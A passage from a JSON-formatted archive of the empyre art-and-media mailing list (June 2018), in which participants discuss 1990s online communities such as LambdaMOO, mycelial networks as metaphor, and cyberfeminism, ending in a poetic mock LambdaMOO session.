lists.artdesign.unsw.edu.au\n>>     <mailto:empyre-bounces at lists.artdesign.unsw.edu.au>> On Behalf Of\n>>     warkk\n>>     Sent: Monday, June 25, 2018 4:13 PM\n>>     To: soft_skinned_space <empyre at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre at lists.artdesign.unsw.edu.au>>\n>>     Subject: Re: [-empyre-] rehearsal of a network - [week 4]\n>>\n>>     Alan is quite right to stress how extensive the options were for\n>>     online\n>>     encounters in the 90s, beyond the handful i named. The larger\n>>     point might\n>>     still be that knowledge of any of that world is fairly thin these\n>>     days.\n>>     There are a few period accounts. dollyoko mentions Marshall's\n>>     Living on\n>>     Cybermind. Julian Dibbell wrote a book about LambdaMoo. There's a\n>>     new book\n>>     by Claire Evans called Broad Band that has good brief accounnts\n>>     of Echo and\n>>     The Word and is focused on innovations in computation by women.\n>>\n>>     Of course one could ask whether the linear prose form of the book\n>>     is the\n>>     best or even a necessary way of documenting such things. I think\n>>     of the book\n>>     as an instance of what dollyoko calls \"successionist servers.\"\n>>     Its hard to\n>>     keep them out of Amazon, one of the biggest vectoral class\n>>     enterprises of\n>>     our time, but they will at least 'run' independently of that\n>>     proprietary\n>>     environment.\n>>\n>>     A book is a concentrated swarm whereas online communication tend\n>>     to default\n>>     to dispersed ones....\n>>\n>>     dollyoko has some great language for an ongoing project: secessionist\n>>     servers, intentional family, open family platforms, vernacular\n>>     approaches to\n>>     infrastructure. (To just pick a few that i think go together with\n>>     the themes\n>>     Shu Lea suggested).\n>>\n>>     Maybe its a good thing that 90s cyberculture experiments ended up\n>>     largely\n>>     invisible and excluded from history, as now it might be time to\n>>     be rather\n>>     discreet about the possibilities uncovered then. Maybe it was a\n>>     good thing\n>>     for mycelium that it was largely invisible for so long, as nobody\n>>     figured\n>>     out how to monetize it.\n>>\n>>     mw\n>>\n>>     On Mon, Jun 25, 2018 at 2:16 AM, <dollyoko at thing.net\n>>     <mailto:dollyoko at thing.net>> wrote:\n>>\n>>     > ----------empyre- soft-skinned space----------------------\n>>     >\n>>     > dear shu lea and empyreans\n>>     >\n>>     > yes, finger fucking across platforms and waters, deep code\n>>     luscious\n>>     > moon brown stem the shadow of a venetian blind on summer body in\n>>     > borrowed loft wiping sweat, not swiping left (write left alt\n>>     write)\n>>     > Floodnet!\n>>     >\n>>     > i'm immersing eyes into this generous mycelial conversation today\n>>     > feeling the tendrils of one hundred minds\n>>     >\n>>     > 'powerful poetic gestures'\n>>     > 'alternate sentiences'\n>>     > 'the incomputable'\n>>     > 'nature is not a system'\n>>     > 'break all separations'\n>>     > 'imps fuelling the real'\n>>     > 'vernacular approach to infrastructure'\n>>     > 't-shroom as family heritage and long-living family member'\n>>     > 'i have a vast genetic network in me'\n>>     > 'we begin to think like a forest'\n>>     >\n>>     > how to extend the intentional families we (of a certain age)\n>>     created\n>>     > in the 90s [while perhaps reading Bruce Stirling's Dead Media\n>>     list, or\n>>     > skiving off to PMCMoo or RiverMOO when LambdaMOO was down] before\n>>     > other 'we(s)' were born\n>>     >\n>>     > Jonathan Marshall's book 'Living on Cybermind' might be one\n>>     answer to\n>>     > Ken's Q about how to capture the non-linear threaded lives\n>>     >\n>>     > i've been returning to build at LambdaMoo since around 2013,\n>>     prompted\n>>     > by projects such as Networked Art Forms and Tactical Magick Faerie\n>>     > Circuits - instigated by the wonderful Nancy Mauro-Flude, and\n>>     (equally\n>>     > wonderful) Furtherfield's Beyond the Interface... I'm not sure\n>>     what\n>>     > the mycelial potential of such old platforms might be, I suspect\n>>     > there's something though...... for example, a nascent project I'm\n>>     > doing with Virginia Barratt and Alice Farmer takes as it\n>>     starting point:\n>>     >\n>>     > -----------------------------------\n>>     >\n>>     > \"A multi-platform artwork comprising a LambdaMOO environment\n>>     > (multi-user domain object-oriented), performing avatars,\n>>     improvised\n>>     > performance, experimental hypertext fiction, cryptokitties on the\n>>     > (ethereum) blockchain, and a hand-bound XenZine. The subject is\n>>     the\n>>     > construction of intentional family beyond blood and kind.\n>>     >\n>>     > We revisit LambdaMOO as a site for gender non-conforming\n>>     > subjectivities to explore the production of xenofam and\n>>     xenobodies,\n>>     > outside of social re-production, and bring those practices to bear\n>>     > upon the \"real\". Only a few years after the emergence of the WWW,\n>>     > social networking habits were harnessed and stratified into\n>>     machines\n>>     > for the production of social capital and new affective forms of\n>>     > extractivism within the paradigm of info-capitalism. Yet the\n>>     outlier\n>>     > LambdaMOO is still maintained by a small phreak family as a\n>>     working\n>>     > experiment, an enclave among other secessionist servers (caves,\n>>     > sinkholes, hackpads, labyrinthine clouds) carving out space to\n>>     platform\n>>     lives of creative resistance, blasphemy and joy.\n>>     >\n>>     > The performing avatars, the unholy trinity of Witchmum, Mum 2.0\n>>     and\n>>     > Precocious Meme Savant, have cooked, co-habited and coded as\n>>     > becoming-kin to instantiate xenofam, building affective bonds\n>>     through\n>>     > which datablood flows. This queered approach to extensible and\n>>     open\n>>     > family platforms generates intentional spaces for the\n>>     reconfiguration\n>>     > of blood ties beyond blood types, and another mode of hexing\n>>     Capital.\"\n>>     >\n>>     > --------------------\n>>     >\n>>     > I want to write more, but I need to buy bread as I can't wait\n>>     the 12\n>>     > hours for the wild yeasts to do their thing.\n>>     > I will try to attract some xenofeminist and other spores this way\n>>     > while thinking about how Ken's 'we no longer have roots, we\n>>     have aerials'\n>>     > might take a mycelial turn\n>>     >\n>>     >\n>>     > Warmly, to all\n>>     > doll fingers + witch thoughts, perhaps a spell cast from and to\n>>     this\n>>     > conversation, tomorrow\n>>     >\n>>     >\n>>     >\n>>     > > ----------empyre- soft-skinned\n>>     > > space----------------------_________________________________\n>>     > ______________\n>>     > > empyre forum\n>>     > > empyre at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>>     > > http://empyre.library.cornell.edu\n>>     <http://empyre.library.cornell.edu>\n>>     >\n>>     >\n>>     > _______________________________________________\n>>     > empyre forum\n>>     > empyre at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>>     > http://empyre.library.cornell.edu\n>>     <http://empyre.library.cornell.edu>\n>>     >\n>>\n>>\n>>\n>>     -- \n>>\n>>     McKenzie Wark\n>>     *Professor of Media and Culture*\n>>     EUGENE LANG COLLEGE\n>>     65 w11th st, NEW YORK, NY 10011\n>>\n>>     warkk at newschool.edu <mailto:warkk at newschool.edu>\n>>     <http://www.newschool.edu/marketing-communication/email-signature.html#\n>>     <http://www.newschool.edu/marketing-communication/email-signature.html#>>\n>>     T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>>\n>>     _______________________________________________\n>>     empyre forum\n>>     empyre at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>>     http://empyre.library.cornell.edu <http://empyre.library.cornell.edu>\n>>\n>>\n>>\n>>\n>> -- \n>>\n>> McKenzie Wark\n>> *Professor of Media and Culture*\n>> EUGENE LANG COLLEGE\n>> 65 w11th st, NEW YORK, NY 10011\n>>\n>> warkk at newschool.edu \n>> <http://www.newschool.edu/marketing-communication/email-signature.html#>\n>> T 212 229 5100 2241 / M 646 3697266 / @mckenziewark / room #456\n>>\n>>\n>>\n>>\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.artdesign.unsw.edu.au\n>> http://empyre.library.cornell.edu\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180626/8677979c/attachment-0001.html>\n",
                                        "date": "Tue Jun 26 15:13:13 AEST 2018",
                                        "message-id": "10356",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010356.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "SWHTaylor at zoho.com",
                                        "id": "10360",
                                        "content": "Dear <<empyreans>>,\n\nOn 26/06/18 06:37, Shu Lea Cheang wrote/quoted:\n> I believe that mycelium is the neurological network of nature. \n> Interlacing mosaics of mycelium infuse habitats with \n> information-sharing membranes\n\nMycorrhyizal networks became entangled in the underground theatre work \nof Minus Theatre. But for reasons that rather go against those adduced \nin and around CMNs here, in their emphasis on the gains to be had, got \nfrom, harvested off the literal and metaphorical fungolalia and \nfungalia. The gain, for example, of communication: what if--we \nspeculated in the spectacles we made--communication were not the point, \nbut an exploitation-abstraction layer covering over--a too-human \ngroundcover--the /work/ of decomposition? What if communication is /in \n/and an /excess/ of this work? And what then if the scatter, crackle and \nstatic of languages were the condition of their significations? The \nbreaking-down, the waste itself, the soil, ground? Such work--of \ndecomposition--would not be valued according to elements and minerals \n/liberated/ but would be valued in and through itself, as forming the \nmaternal matrices in indeterminacy, inaction, asignifying, across \ninorganic and organic strata. Decomposition lays waste: elements are \nunderstood to be liberated and the value is in this breaking down, \ngiving off phosphorescing halos in an excess of incandescent energy \nillumining the dark, not a light dispelling it.\n\nbest,\nSimon\nhttp://squarewhiteworld.com/\n\n\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180627/2f00eeb7/attachment.html>\n",
                                        "date": "Wed Jun 27 17:56:53 AEST 2018",
                                        "message-id": "10360",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010360.html",
                                        "content-type": "n/a",
                                        "author_name": "Simon",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10361",
                                        "content": "dear All\n\nthreads entangled deeper into Mycorrhyizal networks that Simon \nmeticulously argued.\n\nAs a moderator for the first time of such 'old fashioned' mailing list, \n(and let's leave it text based forever),  I am feeling an indescribable \ntension, anxiety as I check in on admin page to 'pass' the sporadically \nincoming postings...\n\nthe roots have no bound composting (thus renewed) underground... and how \ndo we follow? cross-path?\n\nLet me try -\n\nWe have checked ourselves into the 90s of its online communities which \nparallel to artistic intervention on the Net at the time, but existed as \na society on its own, multiple mini-societies, mainly local (unlike the \nknown international ones we refer to, spectre, nettime, to name a few), \nsome archived, some legendary... bring it up to date,  the current \n'warred' zone of local social media,  sign in to wechat in China and \nwhatsup in the States, has to echo these 'scenes' of the 90s.\n\nI do not want to lose Alice Famer's references on patchwork/weaving as \nwe got 'sidetracked' and 'righttracked' to mycelium..\n\nthanks to dollyoko's taking us back to real (small) spaces of \"deep \nsocial experimentation and collaborative creativity\", somehow i connect \nthese days with occupied squated space, move in and takeover... Jaromil \ncan possibly echo these days with Amsterdam stakeout of a time? not to \nfall into any nostagia or romantic about it... collectives get \ndissolved, creativity fights over credits, and ultimately who's doing \nthe dishes? taking out the garbage?\n\nMuch thanks to  Jaromil's summing of past 3 weeks... there are so many \nquotes of the contributors, each can lead us to 'rabbit holes' as \ndollyoko dares us to venture in???\n\nagain-\n\nI am standing still in this junction with walkers in all directions, \nthat particular center of the universe in Shibuya's transit exit.........\n\nthe swarm of thoughts from outer universe hitting at you... spores \nfalling like spring snow, invasive as they are.\n\nhelp me through this last few days of June..........\n\nmany thanks\n\nsl\n\n\nOn 27/06/18 09:56, Simon wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> Dear <<empyreans>>,\n>\n> On 26/06/18 06:37, Shu Lea Cheang wrote/quoted:\n>> I believe that mycelium is the neurological network of nature. \n>> Interlacing mosaics of mycelium infuse habitats with \n>> information-sharing membranes\n>\n> Mycorrhyizal networks became entangled in the underground theatre work \n> of Minus Theatre. But for reasons that rather go against those adduced \n> in and around CMNs here, in their emphasis on the gains to be had, got \n> from, harvested off the literal and metaphorical fungolalia and \n> fungalia. The gain, for example, of communication: what if--we \n> speculated in the spectacles we made--communication were not the \n> point, but an exploitation-abstraction layer covering over--a \n> too-human groundcover--the /work/ of decomposition? What if \n> communication is /in /and an /excess/ of this work? And what then if \n> the scatter, crackle and static of languages were the condition of \n> their significations? The breaking-down, the waste itself, the soil, \n> ground? Such work--of decomposition--would not be valued according to \n> elements and minerals /liberated/ but would be valued in and through \n> itself, as forming the maternal matrices in indeterminacy, inaction, \n> asignifying, across inorganic and organic strata. Decomposition lays \n> waste: elements are understood to be liberated and the value is in \n> this breaking down, giving off phosphorescing halos in an excess of \n> incandescent energy illumining the dark, not a light dispelling it.\n>\n> best,\n> Simon\n> http://squarewhiteworld.com/\n>\n>\n>\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180628/b7ad5159/attachment.html>\n",
                                        "date": "Thu Jun 28 18:04:28 AEST 2018",
                                        "message-id": "10361",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010361.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "juniorfarmer at gmail.com",
                                        "id": "10362",
                                        "content": "\"It was women\u2019s fingers that enfolded the data-corpse into the fabric of\nthe world. Sadie Plant tells us that these fingers are like a spider\u2019s\nspinnerets, extruding digital silk, weaving the history of networked\ntechnology, which at its core is a cunning practice of emasculation:\n\u2018cyberspace is out of man\u2019s control, [it] destroys his identity...at the\npeak of his triumph, the culmination of his machinic erections, man\nconfronts the system he built for his own protection and finds it female\nand dangerous.\u2019 For Plant, man sentenced himself to annihilation when he\nlet the feminine hydra of digital technology out of its black box. Now, it\nis everywhere, slyly completing its task. Cyberfeminism is an occult form\nof warfare. It understands about \u2018cyber - space\u2019 what Cixin Liu\u2019s \u2018dark\nforest\u2019 theory understands about the cosmos: all existence is determined by\nhostility and so the highest form of intelligence lies in occluding one\u2019s\ncoordinates. The hypothesis explains why the universe, statistically full\nof life, is dead silent. It is not because, as is commonly thought, life\nhas not found a way to communicate, but because it understands that silence\nis the most advanced form of intelligence. Our physical and virtual spaces,\nwhich are increasingly inseparable, are alike a dark forest, where every\nstep must be taken with care, as revealing one\u2019s existence portends\nannihilation. The most desirable skill, the most coveted trick, and the\nmost longed for disposition can only be this\u2014a fluency in the trading of\nsecrets. The skills we need to strategically deploy concealment,\nde-concealment and re-concealment.\"\n\nthis is from Bogna Konior's  \"Ancestral Cyberspace: On the Technics of\nSecrecy\" (\nhttps://static1.squarespace.com/static/584d3a10be6594f67565c0a0/t/5b34c37a0e2e7239ad7bc9ee/1530184579239/AncestralCyberspace.pdf\n)\n\nthinking about how the warfare of cyberfem (i think this itself is leading\n2 discussions on Gender Accelerationism (G/ACC) and LesbiaNRx) functions\nwithin networks specifically.\nHacking, ddos attacks, patchwork + weavinggg\n\nOn Thu, Jun 28, 2018 at 5:35 PM Shu Lea Cheang <shulea at earthlink.net> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n>\n> dear All\n>\n> threads entangled deeper into Mycorrhyizal networks that Simon\n> meticulously argued.\n>\n> As a moderator for the first time of such 'old fashioned' mailing list,\n> (and let's leave it text based forever),  I am feeling an indescribable\n> tension, anxiety as I check in on admin page to 'pass' the sporadically\n> incoming postings...\n>\n> the roots have no bound composting (thus renewed) underground... and how\n> do we follow? cross-path?\n>\n> Let me try -\n>\n> We have checked ourselves into the 90s of its online communities which\n> parallel to artistic intervention on the Net at the time, but existed as a\n> society on its own, multiple mini-societies, mainly local (unlike the known\n> international ones we refer to, spectre, nettime, to name a few), some\n> archived, some legendary... bring it up to date,  the current 'warred' zone\n> of local social media,  sign in to wechat in China and whatsup in the\n> States, has to echo these 'scenes' of the 90s.\n>\n> I do not want to lose Alice Famer's references on patchwork/weaving as we\n> got 'sidetracked' and 'righttracked' to mycelium..\n>\n> thanks to dollyoko's taking us back to real (small) spaces of \"deep social\n> experimentation and collaborative creativity\", somehow i connect these days\n> with occupied squated space, move in and takeover... Jaromil can possibly\n> echo these days with Amsterdam stakeout of a time? not to fall into any\n> nostagia or romantic about it... collectives get dissolved, creativity\n> fights over credits, and ultimately who's doing the dishes? taking out the\n> garbage?\n>\n> Much thanks to  Jaromil's summing of past 3 weeks... there are so many\n> quotes of the contributors, each can lead us to 'rabbit holes' as dollyoko\n> dares us to venture in???\n>\n> again-\n>\n> I am standing still in this junction with walkers in all directions, that\n> particular center of the universe in Shibuya's transit exit.........\n>\n> the swarm of thoughts from outer universe hitting at you... spores falling\n> like spring snow, invasive as they are.\n>\n> help me through this last few days of June..........\n>\n> many thanks\n>\n> sl\n>\n>\n> On 27/06/18 09:56, Simon wrote:\n>\n> ----------empyre- soft-skinned space----------------------\n>\n>\n>\n> Dear <<empyreans>>,\n>\n> On 26/06/18 06:37, Shu Lea Cheang wrote/quoted:\n>\n> I believe that mycelium is the neurological network of nature. Interlacing\n> mosaics of mycelium infuse habitats with information-sharing membranes\n>\n>\n> Mycorrhyizal networks became entangled in the underground theatre work of\n> Minus Theatre. But for reasons that rather go against those adduced in and\n> around CMNs here, in their emphasis on the gains to be had, got from,\n> harvested off the literal and metaphorical fungolalia and fungalia. The\n> gain, for example, of communication: what if--we speculated in the\n> spectacles we made--communication were not the point, but an\n> exploitation-abstraction layer covering over--a too-human groundcover--the\n> *work* of decomposition? What if communication is *in *and an *excess* of\n> this work? And what then if the scatter, crackle and static of languages\n> were the condition of their significations? The breaking-down, the waste\n> itself, the soil, ground? Such work--of decomposition--would not be valued\n> according to elements and minerals *liberated* but would be valued in and\n> through itself, as forming the maternal matrices in indeterminacy,\n> inaction, asignifying, across inorganic and organic strata. Decomposition\n> lays waste: elements are understood to be liberated and the value is in\n> this breaking down, giving off phosphorescing halos in an excess of\n> incandescent energy illumining the dark, not a light dispelling it.\n>\n> best,\n> Simon\n> http://squarewhiteworld.com/\n>\n>\n>\n>\n>\n>\n> _______________________________________________\n> empyre forumempyre at lists.artdesign.unsw.edu.auhttp://empyre.library.cornell.edu\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180628/c92e1339/attachment.html>\n",
                                        "date": "Thu Jun 28 23:43:20 AEST 2018",
                                        "message-id": "10362",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010362.html",
                                        "content-type": "n/a",
                                        "author_name": "Alice Famer",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "shulea at earthlink.net",
                                        "id": "10365",
                                        "content": "Let's talk about these fingers ....\n\nThe grand dame of cyberfem VB has deep rooted her fingers in the dirt.. \nif ever a network to be re-constructed, it has to go underground, it has \nto be communicated in silence (as the most advanced form of \nintelligence), again, we find ourselves in deep forest, dark forest, in \n\"deep doll space zero\"(gashgirl aka dollyoko).\n\nThen, Jaromil alarmed us, \" Just like network routing algorithms were \ninspired by ant scenting patterns, we are witnessing a moment in history \nin which the mainstream industry with all its techno-poetic powers have \nembraced the patterns of Mycelia.\"\n\noh oh! need to join bubbleclub, \"start your living culture at home\"....\n\n\nI am off , who can babysit my compost worms?\n\n\nover\n\nsl\n\n\n\n\n\n\n\nOn 28/06/18 15:43, Alice Famer wrote:\n> ----------empyre- soft-skinned space----------------------\n>\n>\n> \"It was women\u2019s fingers that enfolded the data-corpse into the fabric \n> of the world. Sadie Plant tells us that these fingers are like a \n> spider\u2019s spinnerets, extruding digital silk, weaving the history of \n> networked technology, which at its core is a cunning practice of \n> emasculation: \u2018cyberspace is out of man\u2019s control, [it] destroys his \n> identity...at the peak of his triumph, the culmination of his machinic \n> erections, man confronts the system he built for his own protection \n> and finds it female and dangerous.\u2019 For Plant, man sentenced himself \n> to annihilation when he let the feminine hydra of digital technology \n> out of its black box. Now, it is everywhere, slyly completing its \n> task. Cyberfeminism is an occult form of warfare. It understands about \n> \u2018cyber - space\u2019 what Cixin Liu\u2019s \u2018dark forest\u2019 theory understands \n> about the cosmos: all existence is determined by hostility and so the \n> highest form of intelligence lies in occluding one\u2019s coordinates. The \n> hypothesis explains why the universe, statistically full of life, is \n> dead silent. It is not because, as is commonly thought, life has not \n> found a way to communicate, but because it understands that silence is \n> the most advanced form of intelligence. Our physical and virtual \n> spaces, which are increasingly inseparable, are alike a dark forest, \n> where every step must be taken with care, as revealing one\u2019s existence \n> portends annihilation. The most desirable skill, the most coveted \n> trick, and the most longed for disposition can only be this\u2014a fluency \n> in the trading of secrets. The skills we need to strategically deploy \n> concealment, de-concealment and re-concealment.\"\n>\n> this is from Bogna Konior's  \"Ancestral Cyberspace: On the Technics of \n> Secrecy\" \n> (https://static1.squarespace.com/static/584d3a10be6594f67565c0a0/t/5b34c37a0e2e7239ad7bc9ee/1530184579239/AncestralCyberspace.pdf)\n>\n> thinking about how the warfare of cyberfem (i think this itself is \n> leading 2 discussions on Gender Accelerationism (G/ACC) and LesbiaNRx) \n> functions within networks specifically.\n> Hacking, ddos attacks, patchwork + weavinggg\n>\n> On Thu, Jun 28, 2018 at 5:35 PM Shu Lea Cheang <shulea at earthlink.net \n> <mailto:shulea at earthlink.net>> wrote:\n>\n>     ----------empyre- soft-skinned space----------------------\n>\n>     dear All\n>\n>     threads entangled deeper into Mycorrhyizal networks that Simon\n>     meticulously argued.\n>\n>     As a moderator for the first time of such 'old fashioned' mailing\n>     list, (and let's leave it text based forever),  I am feeling an\n>     indescribable tension, anxiety as I check in on admin page to\n>     'pass' the sporadically incoming postings...\n>\n>     the roots have no bound composting (thus renewed) underground...\n>     and how do we follow? cross-path?\n>\n>     Let me try -\n>\n>     We have checked ourselves into the 90s of its online communities\n>     which parallel to artistic intervention on the Net at the time,\n>     but existed as a society on its own, multiple mini-societies,\n>     mainly local (unlike the known international ones we refer to,\n>     spectre, nettime, to name a few), some archived, some legendary...\n>     bring it up to date,  the current 'warred' zone of local social\n>     media, sign in to wechat in China and whatsup in the States, has\n>     to echo these 'scenes' of the 90s.\n>\n>     I do not want to lose Alice Famer's references on\n>     patchwork/weaving as we got 'sidetracked' and 'righttracked' to\n>     mycelium..\n>\n>     thanks to dollyoko's taking us back to real (small) spaces of\n>     \"deep social experimentation and collaborative creativity\",\n>     somehow i connect these days with occupied squated space, move in\n>     and takeover... Jaromil can possibly echo these days with\n>     Amsterdam stakeout of a time? not to fall into any nostagia or\n>     romantic about it... collectives get dissolved, creativity fights\n>     over credits, and ultimately who's doing the dishes? taking out\n>     the garbage?\n>\n>     Much thanks to  Jaromil's summing of past 3 weeks... there are so\n>     many quotes of the contributors, each can lead us to 'rabbit\n>     holes' as dollyoko dares us to venture in???\n>\n>     again-\n>\n>     I am standing still in this junction with walkers in all\n>     directions, that particular center of the universe in Shibuya's\n>     transit exit.........\n>\n>     the swarm of thoughts from outer universe hitting at you... spores\n>     falling like spring snow, invasive as they are.\n>\n>     help me through this last few days of June..........\n>\n>     many thanks\n>\n>     sl\n>\n>\n>     On 27/06/18 09:56, Simon wrote:\n>\n>>     ----------empyre- soft-skinned space----------------------\n>>\n>>\n>>     Dear <<empyreans>>,\n>>\n>>     On 26/06/18 06:37, Shu Lea Cheang wrote/quoted:\n>>>     I believe that mycelium is the neurological network of nature.\n>>>     Interlacing mosaics of mycelium infuse habitats with\n>>>     information-sharing membranes\n>>\n>>     Mycorrhyizal networks became entangled in the underground theatre\n>>     work of Minus Theatre. But for reasons that rather go against\n>>     those adduced in and around CMNs here, in their emphasis on the\n>>     gains to be had, got from, harvested off the literal and\n>>     metaphorical fungolalia and fungalia. The gain, for example, of\n>>     communication: what if--we speculated in the spectacles we\n>>     made--communication were not the point, but an\n>>     exploitation-abstraction layer covering over--a too-human\n>>     groundcover--the /work/ of decomposition? What if communication\n>>     is /in /and an /excess/ of this work? And what then if the\n>>     scatter, crackle and static of languages were the condition of\n>>     their significations? The breaking-down, the waste itself, the\n>>     soil, ground? Such work--of decomposition--would not be valued\n>>     according to elements and minerals /liberated/ but would be\n>>     valued in and through itself, as forming the maternal matrices in\n>>     indeterminacy, inaction, asignifying, across inorganic and\n>>     organic strata. Decomposition lays waste: elements are understood\n>>     to be liberated and the value is in this breaking down, giving\n>>     off phosphorescing halos in an excess of incandescent energy\n>>     illumining the dark, not a light dispelling it.\n>>\n>>     best,\n>>     Simon\n>>     http://squarewhiteworld.com/\n>>\n>>\n>>\n>>\n>>\n>>\n>>     _______________________________________________\n>>     empyre forum\n>>     empyre at lists.artdesign.unsw.edu.au\n>>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>>     http://empyre.library.cornell.edu\n>\n>     _______________________________________________\n>     empyre forum\n>     empyre at lists.artdesign.unsw.edu.au\n>     <mailto:empyre at lists.artdesign.unsw.edu.au>\n>     http://empyre.library.cornell.edu\n>\n>\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.artdesign.unsw.edu.au\n> http://empyre.library.cornell.edu\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180629/6b5743d2/attachment.html>\n",
                                        "date": "Fri Jun 29 18:18:01 AEST 2018",
                                        "message-id": "10365",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010365.html",
                                        "content-type": "n/a",
                                        "author_name": "Shu Lea Cheang",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "SWHTaylor at zoho.com",
                                        "id": "10366",
                                        "content": "On 29/06/18 20:18, Shu Lea Cheang wrote:\n> Then, Jaromil alarmed us, \" Just like network routing algorithms were \n> inspired by ant scenting patterns, we are witnessing a moment in \n> history in which the mainstream industry with all its techno-poetic \n> powers have embraced the patterns of Mycelia.\"\n\nneither is there need at this moment in history to sound or heed alarm \nnor is there to bear witness silently mute or vocally poetic: the \nembrace of the mainstream industry with its technopoetic arms, its long \narms, itsautomatic arms, its electronic arms, itsarms,its petrochemical \narms, its military arms, isof patterns, or is making patterns, \nnetwork-like patterns, barabbasian patterns, informational patterns, but \nproductive patterns, profitable patterns, semiocapitalist patterns, and \nmarket-economic-neuroliberal patterns, algorithmically-invested \npatterns, desirous of some natural-religious explanation and causation: \nits patterns are all PR & marketing depts. And the market is for \neconomists, to see which ones write the best, futuristic, progressive, \nsmartest, computer-AI-assisted EF [Economic Fiction] techno-poetry. The \nwarning is Foucault's: where resistance has gone power will follow. \nWhere the resistance has been the power has followed.\n\nbest,\n\nSimon\n\n\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.artdesign.unsw.edu.au/pipermail/empyre/attachments/20180630/905d0067/attachment.html>\n",
                                        "date": "Sat Jun 30 16:22:39 AEST 2018",
                                        "message-id": "10366",
                                        "url": "http://lists.artdesign.unsw.edu.au/pipermail/empyre/2018-June/010366.html",
                                        "content-type": "n/a",
                                        "author_name": "Simon",
                                        "subject": "[-empyre-] rehearsal of a network - [week 4]"
                                    },
                                    {
                                        "from": "dollyoko at thing.net",
                                        "id": "10367",
                                        "content": "How do we create forms of life that no longer reproduce the machines of\ncapital?\nHow do we desert the system that has no outside?\nHow do we refuse to become the fools in the palace?\n\n***************************\n*  Welcome to LambdaMOO!  *\n***************************\nRunning Version 1.8.3+47 of LambdaMOO\nThe lag is low; there are 42 connected.\n*** Connected ***\n\nDeep Sea Abyss\nA vast dark expanse. Strange bioluminescence. Volcanic vents and oceanic\nharmonics. Silence (the most advanced form of intelligence). Go east to\nthe autonomous zone of la zad of Notre-dame-des-Landes. Take rebel raft\nregatta to Occupy Theory, Occupy Strategy. Go down on the altar of\nabjection.\n\nradio mycelium, mushrooms harvested from the reactor in Chernobyl, rolling\nJubilees and G-slime (performing a Mycelic Brain Ritual) are here.\n\nYou yawn, rub your eyes, and officially wake up.\nLast connected Tue Jun 26 20:06:41 2018 ACDT from 118.211.40.5\nYou hear a distant kachunk as your time card is punched in on the time clock.\n\nThe procedural poets of the natural world, mushrooms are magical because\nthey are about chance (the conditions have to be just right for one to pop\nup, for you to perceive it, for you two to meet\u2026)\n\n> look radio mycelium\nYou see fungal transceivers sprouting mycelial antennas forming an\nimaginary underground network.\n\nhttps://twitter.com/hashtag/LesbiaNRx?src=hash&lang=en\n\n> look me\nWitchMum - a bundle of twigs bound with babies\u2019 tears fomented in the\nLaboratory of Insurrectionary Imagination. She is holding a tiny brass key\nstolen from Gilles de Rais.\n\n> @go War on Terror Universities\nYou can\u2019t go that way.\n\nagain-\nI am standing still in this junction with walkers in all directions,\nthat particular center of the universe in Shibuya's transit exit.........\nthe swarm of thoughts from outer universe hitting at you... spores\nfalling like spring snow, invasive as they are.\nHelp me through this last few days of June..........\n\n> @join slimegirl\n\n<slime cave>\nAs you slip through the 'mud patch' you realise this isn't mud per se; but\na familiar feeling of wet stickiness. You fall onto a bed of Nyx Slime.\n\n/a gesture that potentially \u201cdissolved\u201d the U.S. border with its poetry/\n\nSlime Girl (1.0) slides in and hands your Slime Cave membership card and\ncomplimentary Slime Pig (Whatever you do Slime Pigs MUST NOT LEAVE THE\nCAVE). To the east there is a Cavern, which its faint whistling sounds\nlike the songs of Slime(mer)maids. To the West, a door, that longs to be\nopened; but how. Up, is to The Junkyard, where Alabaster plays, and\n'down?' you say, well, you might just have to take the plunge.\nslimegirl (fluent in the trading of secrets) is here.\n\nWe need an opposite to the algorithm.\nWe need to sleep for regeneration our brain.\n\n> look slimegirl\n\nslimegirl\nSlime molds are in their own right a strange creature. Not quite plant,\nnot quite animal, not quite fungi, but something else. They live 